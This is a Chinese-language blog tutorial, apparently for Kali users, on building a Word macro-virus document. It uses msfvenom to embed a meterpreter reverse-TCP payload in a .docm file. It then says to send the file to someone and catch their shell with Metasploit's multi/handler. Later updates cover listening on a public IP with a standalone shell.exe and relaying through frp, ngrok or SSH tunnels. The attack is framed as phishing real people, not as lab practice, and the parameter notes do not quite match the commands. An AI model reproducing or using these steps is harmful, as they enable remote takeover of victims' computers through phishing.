kali好久之前就已经安装好了, 当时不知道具体用法. 今天偶然发现kali如此有趣, 于是开一个kali系列的教程.

VBA是基于Visual Basic发展而来的,与Visual Basic具有相似的语言结构。使用VBA可以完成很多事情,基于Excel、Word的VBA小程序不计其数。宏病毒在Word中引入宏之后出现的。目前Office 是较为流行的编辑软件,并且跨越了多种操作系统,宏病毒利用这一点得到了大范围的传播。

构造一个包含宏病毒的Word文件也并不复杂,只要编写一个Auto_Open函数,就可自动引发病毒。 在Word打开这个文件时, 宏病毒会执行, 然后感染其他文件或直接删除其他文件等。Word宏和其他样式存储在模版DOT文件中, 因此总是把Word文件转成模版,再将其存储为宏。

好的, 现在开始教程!

打开kali, 在终端中键入msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.51 LPORT=4444 -f vba-exe

各参数意义如下:

  • –platform windows - 指定目标平台是Windows

  • -p windows/meterpreter/reverse_tcp - 指定使用的payload是meterpreter reverse TCP

  • LHOST=192.168.68.125 - 指定本地监听的IP地址

  • LPORT=4444 - 指定本地监听的端口号

  • -e x86/shikata_ga_nai - 使用shikata_ga_nai编码器对payload进行编码

  • -f vba-exe - 将payload输出为VBA格式的可执行文件

只有操作系统和架构不同的时候需要改一下命令, 对于windows电脑的64位系统, 上面的命令可以直接使用, 键入命令并确认后可以看到如下:

我们可以看到由两部分: macro code, 和data.

我们可以将macro制作成宏代码, data需要插入在word文档最后. 你需要保存为启用宏的文档, 后缀为docm

到现在就只做好word文档病毒了. 将文档发给别人, 然后进行如下操作:

在Kali中启动metasploit, 依次键入

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.51
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > exploit

然后就可以美美钓鱼劫持对方shell啦


更新

上面的内容是在局域网中劫持监听, 如果想要监听外网ip, 需要有一台云服务器(kali不必安装在此云服务器上)

使用msfvenom生成的反向连接payload,配合msfconsole的exploit/multi/handler也可以实现远程外网监听。

主要步骤是:

  1. 在Kali上使用msfvenom生成payload,设置外网IP作为LHOST:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=123.123.123.123 LPORT=4444 -f exe > shell.exe
  1. 在Kali上启动handler,设置与payload相同的监听配置:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123(所有ip换成你自己的公网ip)
set LPORT 4444
exploit
  1. 将shell.exe传到Windows目标机器运行。

  2. 目标机连接Kali的外网IP和端口,会得到一个反向连接的meterpreter session。

这里的关键是:

  • msfvenom设置外网IP作为LHOST

  • handler同样监听在外网IP上

  • Kali服务器需要具有外网可访问的IP

  • 需要在防火墙放行对应的端口

这样就可以实现通过公网IP来获取meterpreter shell了。


再更, 没有云服务器也可以搞, 只需要内网穿透, 反向代理一波

  1. 在Kali上设置端口转发,将局域网Kali的端口映射到公网服务器的端口,然后在公网服务器上监听转发的端口。

  2. 使用内网穿透工具如frp,在Kali上启动frp客户端,在公网服务器上启动frp服务端,实现内网Kali到公网的映射。

  3. 使用VPN,在Kali上连接公网服务器的VPN,获得公网IP,然后在Kali本机监听。

  4. 使用SSH隧道,通过公网服务器建立SSH隧道到内网Kali,然后Kali Bind到本地端口进行监听。

  5. 使用ngrok等内网映射工具,将Kali的某端口映射到公网URL,然后在Kali本机监听即可。

  6. 利用DNS解析指向内网Kali,使得目标主机反向连接时找到内网Kali。